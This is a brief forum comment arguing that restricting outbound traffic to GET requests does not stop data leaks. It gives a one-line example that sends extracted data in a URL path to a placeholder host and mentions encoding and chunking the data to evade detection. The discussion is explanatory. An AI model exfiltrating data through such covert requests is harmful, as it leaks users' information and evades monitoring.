Comment by epolanski

> Stripping headers, not allowing other than GET requests

GET foobar.com/thisissomeextracteddata

You can also imagine it being much subtle, encoded/encrypted, sent in small pieces to avoid detection, etc.